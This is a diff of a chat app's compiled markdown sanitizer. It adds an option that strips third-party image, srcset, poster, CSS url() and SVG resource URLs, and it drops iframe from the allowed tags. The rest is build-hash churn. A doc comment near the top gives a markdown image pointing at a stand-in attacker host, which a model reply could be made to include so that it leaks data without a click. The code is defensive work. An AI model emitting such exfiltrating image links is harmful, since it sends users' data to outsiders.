107
+ * Let media load from any origin. Off, media loads only from the app (see
108
+ * `isAppOriginUrl`): a third-party `src` / `srcset` / `poster`, every CSS
109
+ * declaration and SVG attribute that can load a resource are dropped. A
110
+ * third-party `img[src]` moves to `data-blocked-src`, where the `img`
111
+ * renderer draws a notice in its place (`ExternalMediaNotice`). Untrusted content
112
+ * must keep it off: an image URL is a request its author receives, and
113
+ * `![](https://attacker.example/?d=…)` in a model reply carries whatever the
114
+ * reply was made to put there, with no click.
115
+ */
116
+ allowRemoteMedia?: boolean;
117
+ /**
118
+ * The app's origins to decide against. Defaults to the app's origins when
119
+ * the plugin is built; the engine passes a snapshot so that a hydrating
120
+ * render gives the server's answer.
121
+ */
122
+ appOrigins?: AppOrigins;
123
+ }
100
124
  /**
101
125
  * Defense-in-depth strip pass: drops the never-safe elements outright and
102
126
  * scrubs event handlers, unsafe URL schemes, `iframe[srcdoc]` and the
103
- * positioning subset of `style` off everything else.
127
+ * positioning subset of `style` off everything else — and, unless
128
+ * `allowRemoteMedia`, every media URL from outside the app.
104
129
  *
105
130
  * A pure rebuild rather than an in-place walk. `rehype-raw` and
106
131
  * `rehype-sanitize` — the two passes immediately before this one in
@@ -114,7 +139,7 @@ export declare function buildSanitizeSchema(options?: BuildSanitizeSchemaOptions
114
139
  * affect the result, and dropping a strip-listed element here removes exactly
115
140
  * the subtree the old `splice`-then-`return index` removed.
116
141
  */
117
- export declare function rehypeStripUnsafe(): (tree: Root) => Root;
142
+ export declare function rehypeStripUnsafe({ allowRemoteMedia, appOrigins }?: RehypeStripUnsafeOptions): (tree: Root) => Root;
118
143
  /**
119
144
  * PARAGRAPH SEGMENTS, NOT LINES (round 18 — SECURITY). A CommonMark code span
120
145
  * CROSSES LINE BREAKS: `` `foo\n</textarea>` `` is one `inlineCode` node, so
@@ -1 +1 @@
1
- {"version":3,"file":"sanitize.d.ts","sourceRoot":"","sources":["../../../../src/components/ui/markdown/sanitize.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAmCG;AACH,OAAO,KAAK,EAAuC,IAAI,EAAe,MAAM,MAAM,CAAC;AAQnF;;;;;;;;;GASG;AACH,eAAO,MAAM,cAAc,aAoGzB,CAAC;AAEH;;;;;;;;;;;;;;;;;;;GAmBG;AACH,eAAO,MAAM,QAAQ,aAwBnB,CAAC;AAgDH,4EAA4E;AAC5E,wBAAgB,oBAAoB,CAAC,oBAAoB,CAAC,EAAE,MAAM,EAAE,GAAG,GAAG,CAAC,MAAM,CAAC,CAEjF;AA4ID,MAAM,WAAW,0BAA0B;IACzC,oBAAoB,CAAC,EAAE,MAAM,EAAE,CAAC;CACjC;AAED;;;;;;;;;;GAUG;AACH,wBAAgB,mBAAmB,CAAC,OAAO,GAAE,0BAA+B;;;;;;;;;;;;;EA0G3E;AAkKD;;;;;;;;;;;;;;;;GAgBG;AACH,wBAAgB,iBAAiB,KACvB,MAAM,IAAI,KAAG,IAAI,CAkB1B;AA4HD;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,iBAAS,oBAAoB,CAAC,MAAM,EAAE,MAAM,GAAG,KAAK,CAAC,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC,CA6ErE;AAED,oEAAoE;AACpE,eAAO,MAAM,6BAA6B,6BAAuB,CAAC;AAggElE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAoDG;AACH,iBAAS,mBAAmB,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM,CA0DjD;AAED,gEAAgE;AAChE,eAAO,MAAM,4BAA4B,4BAAsB,CAAC;AAijBhE,wBAAgB,qBAAqB,CAAC,IAAI,EAAE,MAAM,EAAE,WAAW,GAAE,GAAG,CAAC,MAAM,CAAkB,GAAG,MAAM,CA2FrG;AA8DD;;;;GAIG;AACH,wBAAgB,qBAAqB,CAAC,GAAG,EAAE,MAAM,EAAE,GAAG,EAAE,MAAM,GAAG,MAAM,CAItE"}
1
+ {"version":3,"file":"sanitize.d.ts","sourceRoot":"","sources":["../../../../src/components/ui/markdown/sanitize.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAmCG;AACH,OAAO,KAAK,EAAuC,IAAI,EAAe,MAAM,MAAM,CAAC;AAGnF,OAAO,EAAmD,KAAK,UAAU,EAAE,MAAM,4BAA4B,CAAC;AAM9G;;;;;;;;;;;;;GAaG;AACH,eAAO,MAAM,cAAc,aAmGzB,CAAC;AAEH;;;;;;;;;;;;;;;;;;;GAmBG;AACH,eAAO,MAAM,QAAQ,aAwBnB,CAAC;AAgDH,4EAA4E;AAC5E,wBAAgB,oBAAoB,CAAC,oBAAoB,CAAC,EAAE,MAAM,EAAE,GAAG,GAAG,CAAC,MAAM,CAAC,CAEjF;AA4ID,MAAM,WAAW,0BAA0B;IACzC,oBAAoB,CAAC,EAAE,MAAM,EAAE,CAAC;CACjC;AAED;;;;;;;;;;GAUG;AACH,wBAAgB,mBAAmB,CAAC,OAAO,GAAE,0BAA+B;;;;;;;;;;;;;EA0G3E;AAmHD,MAAM,WAAW,wBAAwB;IACvC;;;;;;;;;OASG;IACH,gBAAgB,CAAC,EAAE,OAAO,CAAC;IAC3B;;;;OAIG;IACH,UAAU,CAAC,EAAE,UAAU,CAAC;CACzB;AA0KD;;;;;;;;;;;;;;;;;GAiBG;AACH,wBAAgB,iBAAiB,CAAC,EAAE,gBAAwB,EAAE,UAAU,EAAE,GAAE,wBAA6B,IAE/F,MAAM,IAAI,KAAG,IAAI,CAkB1B;AA4HD;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,iBAAS,oBAAoB,CAAC,MAAM,EAAE,MAAM,GAAG,KAAK,CAAC,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC,CA6ErE;AAED,oEAAoE;AACpE,eAAO,MAAM,6BAA6B,6BAAuB,CAAC;AAggElE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAoDG;AACH,iBAAS,mBAAmB,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM,CA0DjD;AAED,gEAAgE;AAChE,eAAO,MAAM,4BAA4B,4BAAsB,CAAC;AAijBhE,wBAAgB,qBAAqB,CAAC,IAAI,EAAE,MAAM,EAAE,WAAW,GAAE,GAAG,CAAC,MAAM,CAAkB,GAAG,MAAM,CA2FrG;AA8DD;;;;GAIG;AACH,wBAAgB,qBAAqB,CAAC,GAAG,EAAE,MAAM,EAAE,GAAG,EAAE,MAAM,GAAG,MAAM,CAItE"}
@@ -1,6 +1,7 @@
1
1
  "use client";
2
2
  import { defaultUrlTransform } from "react-markdown";
3
3
  import { defaultSchema } from "rehype-sanitize";
4
+ import { absoluteHttpUrl, isAppOriginUrl, readAppOrigins } from "../../../utils/app-origins.js";
4
5
  import { createFenceTracker, isBlankLine } from "../../../utils/markdown-fences.js";
5
6
  const SAFE_HTML_TAGS = /* @__PURE__ */ new Set([
6
7
  // Block + inline text
@@ -84,12 +85,11 @@ const SAFE_HTML_TAGS = /* @__PURE__ */ new Set([
84
85
  "center",
85
86
  "font",
86
87
  "big",
87
- // Media ('video' intentionally excluded — see the header comment)
88
+ // Media ('video' and 'iframe' intentionally excluded — see the header comment)
88
89
  "img",
89
90
  "picture",
90
91
  "source",
91
92
  "audio",
92
- "iframe",
93
93
  "track",
94
94
  // Forms (rehype-raw allows them; mostly harmless for chat output)
95
95
  "button",
@@ -360,9 +360,36 @@ function srcsetHasUnsafeCandidate(srcset) {
360
360
  return false;
361
361
  }
362
362
  const STRIP_ELEMENTS = /* @__PURE__ */ new Set(["script", "style", "noscript", "noembed", "object", "embed", "applet", "base", "meta"]);
363
- function scrubProperties(properties, tag) {
363
+ const MEDIA_URL_ATTRS = /* @__PURE__ */ new Set(["src", "srcset", "poster"]);
364
+ const CSS_RESOURCE_RE = /\\|url\((?!\s*['"]?\s*#)|image(?:-set)?\(|\bsrc\(/i;
365
+ const CSS_COMMENT_RE = /\/\*[\s\S]*?(?:\*\/|$)/g;
366
+ const stripCssComments = (css) => css.replace(CSS_COMMENT_RE, "");
367
+ const SVG_URL_ATTRS = /* @__PURE__ */ new Set([
368
+ "fill",
369
+ "stroke",
370
+ "markerstart",
371
+ "markermid",
372
+ "markerend",
373
+ "clippath",
374
+ "mask",
375
+ "filter"
376
+ ]);
377
+ const PIPELINE_CLASSES = /* @__PURE__ */ new Set([
378
+ "task-list-item",
379
+ "contains-task-list",
380
+ "footnotes",
381
+ "sr-only",
382
+ "data-footnote-backref"
383
+ ]);
384
+ const isPipelineClass = (name) => PIPELINE_CLASSES.has(name) || /^language-[\w+#-]+$/.test(name);
385
+ function hasRemoteMediaUrl(attr, value, origins) {
386
+ if (attr !== "srcset") return !isAppOriginUrl(value.trim(), origins);
387
+ return value.split(",").some((candidate) => !isAppOriginUrl(candidate.trim().split(/\s+/)[0] ?? "", origins));
388
+ }
389
+ function scrubProperties(properties, tag, media) {
364
390
  if (!properties || typeof properties !== "object") return properties;
365
391
  let next;
392
+ let blockedSrc = null;
366
393
  for (const key of Object.keys(properties)) {
367
394
  const lower = key.toLowerCase();
368
395
  const raw = properties[key];
@@ -387,24 +414,68 @@ function scrubProperties(properties, tag) {
387
414
  delete next[key];
388
415
  continue;
389
416
  }
390
- if (lower === "style" && typeof raw === "string" && POSITIONING_DECL_RE.test(raw)) {
391
- const cleaned = raw.split(";").filter((decl) => !POSITIONING_DECL_RE.test(decl)).join(";").trim();
417
+ if (media && MEDIA_URL_ATTRS.has(lower)) {
418
+ const v = Array.isArray(raw) ? raw.join(",") : raw;
419
+ if (typeof v === "string" && hasRemoteMediaUrl(lower, v, media)) {
420
+ next ?? (next = { ...properties });
421
+ delete next[key];
422
+ if (tag === "img" && lower === "src") blockedSrc = absoluteHttpUrl(v, media);
423
+ continue;
424
+ }
425
+ }
426
+ if (media && SVG_URL_ATTRS.has(lower) && typeof raw === "string") {
427
+ if (CSS_RESOURCE_RE.test(stripCssComments(raw))) {
428
+ next ?? (next = { ...properties });
429
+ delete next[key];
430
+ continue;
431
+ }
432
+ }
433
+ const dropDecl = (decl) => POSITIONING_DECL_RE.test(decl) || media !== null && CSS_RESOURCE_RE.test(decl);
434
+ const css = lower === "style" && typeof raw === "string" ? stripCssComments(raw) : null;
435
+ if (css !== null && (css !== raw || css.split(";").some(dropDecl))) {
436
+ const cleaned = css.split(";").filter((decl) => !dropDecl(decl)).join(";").trim();
392
437
  next ?? (next = { ...properties });
393
438
  if (cleaned === "" || cleaned === ";") delete next[key];
394
439
  else next[key] = cleaned;
395
440
  }
396
441
  }
442
+ if (media) {
443
+ if ("dataBlockedSrc" in properties) {
444
+ next ?? (next = { ...properties });
445
+ delete next.dataBlockedSrc;
446
+ }
447
+ if (blockedSrc) {
448
+ next ?? (next = { ...properties });
449
+ next.dataBlockedSrc = blockedSrc;
450
+ }
451
+ const classes = properties.className;
452
+ if (Array.isArray(classes) && classes.some((c) => !isPipelineClass(String(c)))) {
453
+ next ?? (next = { ...properties });
454
+ const kept = classes.filter((c) => isPipelineClass(String(c)));
455
+ if (kept.length) next.className = kept;
456
+ else delete next.className;
457
+ }
458
+ }
397
459
  return next ?? properties;
398
460
  }
399
- function scrubElement(node) {
461
+ function scrubElement(node, media) {
400
462
  const tag = String(node.tagName ?? "").toLowerCase();
401
463
  if (STRIP_ELEMENTS.has(tag)) return void 0;
402
- const properties = scrubProperties(node.properties, tag);
403
- const children = scrubElementChildren(node.children);
464
+ const properties = scrubProperties(node.properties, tag, media);
465
+ let children = scrubElementChildren(node.children, media);
466
+ if (media && tag === "a") children = blockedImagesAsText(children);
404
467
  if (properties === node.properties && children === node.children) return node;
405
468
  return { ...node, properties, children };
406
469
  }
407
- function scrubElementChildren(children) {
470
+ function blockedImagesAsText(children) {
471
+ if (!children.some((c) => c.type === "element" && c.tagName === "img" && c.properties.dataBlockedSrc)) return children;
472
+ return children.map((child) => {
473
+ if (child.type !== "element" || child.tagName !== "img" || !child.properties.dataBlockedSrc) return child;
474
+ const alt = typeof child.properties.alt === "string" && child.properties.alt.trim() ? child.properties.alt : "Image";
475
+ return { type: "text", value: alt };
476
+ });
477
+ }
478
+ function scrubElementChildren(children, media) {
408
479
  const out = [];
409
480
  let changed = false;
410
481
  for (const child of children) {
@@ -412,7 +483,7 @@ function scrubElementChildren(children) {
412
483
  out.push(child);
413
484
  continue;
414
485
  }
415
- const kept = scrubElement(child);
486
+ const kept = scrubElement(child, media);
416
487
  if (kept === void 0) {
417
488
  changed = true;
418
489
  continue;
@@ -422,7 +493,8 @@ function scrubElementChildren(children) {
422
493
  }
423
494
  return changed ? out : children;
424
495
  }
425
- function rehypeStripUnsafe() {
496
+ function rehypeStripUnsafe({ allowRemoteMedia = false, appOrigins } = {}) {
497
+ const media = allowRemoteMedia ? null : appOrigins ?? readAppOrigins();
426
498
  return (tree) => {
427
499
  const out = [];
428
500
  let changed = false;
@@ -431,7 +503,7 @@ function rehypeStripUnsafe() {
431
503
  out.push(child);
432
504
  continue;
433
505
  }
434
- const kept = scrubElement(child);
506
+ const kept = scrubElement(child, media);
435
507
  if (kept === void 0) {
436
508
  changed = true;
437
509
  continue;
@@ -8,11 +8,12 @@
8
8
  */
9
9
  import type React from 'react';
10
10
  import { type MarkdownEngineProps } from './engine';
11
- export interface SimpleMarkdownRendererProps extends Omit<MarkdownEngineProps, 'extraAllowedHtmlTags'> {
11
+ export interface SimpleMarkdownRendererProps extends Omit<MarkdownEngineProps, 'extraAllowedHtmlTags' | 'allowRemoteMedia'> {
12
12
  }
13
13
  /**
14
14
  * A type-narrowed ALIAS of the engine, not a wrapper: the composition adds
15
- * no behavior (it only hides `extraAllowedHtmlTags` from the prop surface),
15
+ * no behavior (it only hides `extraAllowedHtmlTags` and `allowRemoteMedia`
16
+ * from the prop surface, so chat content can never widen the sanitizer),
16
17
  * and `MarkdownEngine` is already `memo`'d. Wrapping it in a second `memo`
17
18
  * bought nothing and cost an extra shallow-compare pass plus a fiber per
18
19
  * chat segment.
@@ -1 +1 @@
1
- {"version":3,"file":"simple-markdown-renderer.d.ts","sourceRoot":"","sources":["../../../../src/components/ui/markdown/simple-markdown-renderer.tsx"],"names":[],"mappings":"AAEA;;;;;;;GAOG;AACH,OAAO,KAAK,KAAK,MAAM,OAAO,CAAC;AAC/B,OAAO,EAAkB,KAAK,mBAAmB,EAAE,MAAM,UAAU,CAAC;AAEpE,MAAM,WAAW,2BAA4B,SAAQ,IAAI,CAAC,mBAAmB,EAAE,sBAAsB,CAAC;CAAG;AAEzG;;;;;;GAMG;AACH,eAAO,MAAM,sBAAsB,EAAqB,KAAK,CAAC,oBAAoB,CAAC,2BAA2B,CAAC,CAAC"}
1
+ {"version":3,"file":"simple-markdown-renderer.d.ts","sourceRoot":"","sources":["../../../../src/components/ui/markdown/simple-markdown-renderer.tsx"],"names":[],"mappings":"AAEA;;;;;;;GAOG;AACH,OAAO,KAAK,KAAK,MAAM,OAAO,CAAC;AAC/B,OAAO,EAAkB,KAAK,mBAAmB,EAAE,MAAM,UAAU,CAAC;AAEpE,MAAM,WAAW,2BAA4B,SAAQ,IAAI,CACvD,mBAAmB,EACnB,sBAAsB,GAAG,kBAAkB,CAC5C;CAAG;AAEJ;;;;;;;GAOG;AACH,eAAO,MAAM,sBAAsB,EAAqB,KAAK,CAAC,oBAAoB,CAAC,2BAA2B,CAAC,CAAC"}
@@ -5,28 +5,28 @@
5
5
  var _chunkSMZWXY4Xcjs = require('./chunk-SMZWXY4X.cjs');
6
6
 
7
7
 
8
- var _chunkDDFT6VQ3cjs = require('./chunk-DDFT6VQ3.cjs');
8
+ var _chunkCLU2KJFBcjs = require('./chunk-CLU2KJFB.cjs');
9
9
 
10
10
 
11
11
  var _chunkLHV2R6QUcjs = require('./chunk-LHV2R6QU.cjs');
12
12
  require('./chunk-FDZOE5TL.cjs');
13
- require('./chunk-UVLTUSH3.cjs');
14
- require('./chunk-FLW2VL5W.cjs');
15
- require('./chunk-NG3RKTQU.cjs');
16
- require('./chunk-FRS2VO22.cjs');
13
+ require('./chunk-WX5WDSKV.cjs');
14
+ require('./chunk-ZZO3FGPM.cjs');
15
+ require('./chunk-SFUNXMY3.cjs');
16
+ require('./chunk-243TS7YL.cjs');
17
17
  require('./chunk-HQQE74RO.cjs');
18
18
  require('./chunk-DEY6XXGO.cjs');
19
- require('./chunk-AZJYMTBS.cjs');
20
- require('./chunk-VXAKQRV7.cjs');
19
+ require('./chunk-GU3GJ5DH.cjs');
20
+ require('./chunk-APOMNC7H.cjs');
21
21
  require('./chunk-24I6RFVU.cjs');
22
22
  require('./chunk-7Z536SPR.cjs');
23
23
  require('./chunk-MZ4KBSH7.cjs');
24
24
  require('./chunk-YR74H7Z3.cjs');
25
- require('./chunk-BT53NHR7.cjs');
26
- require('./chunk-KS5V55HN.cjs');
27
- require('./chunk-JLKGLPDC.cjs');
25
+ require('./chunk-J6C7F63P.cjs');
26
+ require('./chunk-CB77J5L7.cjs');
27
+ require('./chunk-ZW25QUJK.cjs');
28
28
  require('./chunk-ZD6SZLO2.cjs');
29
- require('./chunk-KVJKKVB3.cjs');
29
+ require('./chunk-NZSWROGM.cjs');
30
30
  require('./chunk-JTIGKLKJ.cjs');
31
31
  require('./chunk-ZOZR3QI2.cjs');
32
32
  require('./chunk-OMV5S5PI.cjs');
@@ -1816,21 +1816,21 @@ require('./chunk-LMBYZITR.cjs');
1816
1816
  require('./chunk-TMVC7S2R.cjs');
1817
1817
  require('./chunk-IYHH5EIO.cjs');
1818
1818
  require('./chunk-XIBCMGBW.cjs');
1819
- require('./chunk-TT64NRFU.cjs');
1820
- require('./chunk-OJZBZH56.cjs');
1819
+ require('./chunk-ERLMCSGF.cjs');
1820
+ require('./chunk-CNTBGJA7.cjs');
1821
1821
  require('./chunk-XYZBN6D7.cjs');
1822
1822
  require('./chunk-JKX2C3I2.cjs');
1823
1823
  require('./chunk-7DNL734S.cjs');
1824
1824
  require('./chunk-WWUSFOJ7.cjs');
1825
1825
  require('./chunk-SKI6NKOE.cjs');
1826
1826
  require('./chunk-EWPR7662.cjs');
1827
- require('./chunk-TOWVMBAP.cjs');
1828
- require('./chunk-I3RJLXEL.cjs');
1829
- require('./chunk-PRCGRDHV.cjs');
1830
- require('./chunk-4W77VLQV.cjs');
1827
+ require('./chunk-ACCZCRXT.cjs');
1828
+ require('./chunk-UP3TLY2V.cjs');
1829
+ require('./chunk-7Y6M4FW4.cjs');
1830
+ require('./chunk-OQDPZOGC.cjs');
1831
1831
  require('./chunk-P4B6PVSG.cjs');
1832
- require('./chunk-GAHXURKJ.cjs');
1833
- require('./chunk-TGOJHOQR.cjs');
1832
+ require('./chunk-5QLDHPPU.cjs');
1833
+ require('./chunk-U2MHQBL4.cjs');
1834
1834
  require('./chunk-S5C3OZCO.cjs');
1835
1835
  require('./chunk-32ASZMTV.cjs');
1836
1836
  require('./chunk-OOYBIS7D.cjs');
@@ -1840,13 +1840,13 @@ require('./chunk-ORO54HDF.cjs');
1840
1840
  require('./chunk-RUHKTWGB.cjs');
1841
1841
  require('./chunk-BLH2SFOO.cjs');
1842
1842
  require('./chunk-STLJCAIZ.cjs');
1843
- require('./chunk-7PNRXJX2.cjs');
1843
+ require('./chunk-FX35L4Y6.cjs');
1844
1844
  require('./chunk-NTPX5GXI.cjs');
1845
- require('./chunk-AQXKXZWB.cjs');
1846
- require('./chunk-V4FXUIMH.cjs');
1847
- require('./chunk-SZHDXXMK.cjs');
1845
+ require('./chunk-MG3HJIGG.cjs');
1846
+ require('./chunk-LC65AC6M.cjs');
1847
+ require('./chunk-YSDB6HGQ.cjs');
1848
1848
  require('./chunk-VXXOUM2K.cjs');
1849
- require('./chunk-5GJM7VRR.cjs');
1849
+ require('./chunk-GI3MMBP3.cjs');
1850
1850
  require('./chunk-KUXHXLJQ.cjs');
1851
1851
  require('./chunk-UJ7AXHRZ.cjs');
1852
1852
  require('./chunk-7RM4NM2C.cjs');
@@ -1859,7 +1859,7 @@ require('./chunk-4WIJI4AK.cjs');
1859
1859
  require('./chunk-AHBTZ7DN.cjs');
1860
1860
  require('./chunk-7JWFMAQB.cjs');
1861
1861
  require('./chunk-V45KLJQP.cjs');
1862
- require('./chunk-KHKPLOU4.cjs');
1862
+ require('./chunk-QDB2JO55.cjs');
1863
1863
 
1864
1864
  // src/components/product-demo/screens/devices.tsx
1865
1865
  var _react = require('react');
@@ -1868,7 +1868,7 @@ function DevicesScreen({ compact = false }) {
1868
1868
  const cast = _chunkLHV2R6QUcjs.useProductDemoCast.call(void 0, );
1869
1869
  const fixture = _react.useMemo.call(void 0, () => _chunkSMZWXY4Xcjs.buildWindowsDevicesFixture.call(void 0, cast), [cast]);
1870
1870
  return /* @__PURE__ */ _jsxruntime.jsx.call(void 0,
1871
- _chunkDDFT6VQ3cjs.DevicesScreenView,
1871
+ _chunkCLU2KJFBcjs.DevicesScreenView,
1872
1872
  {
1873
1873
  compact,
1874
1874
  devices: fixture.devices,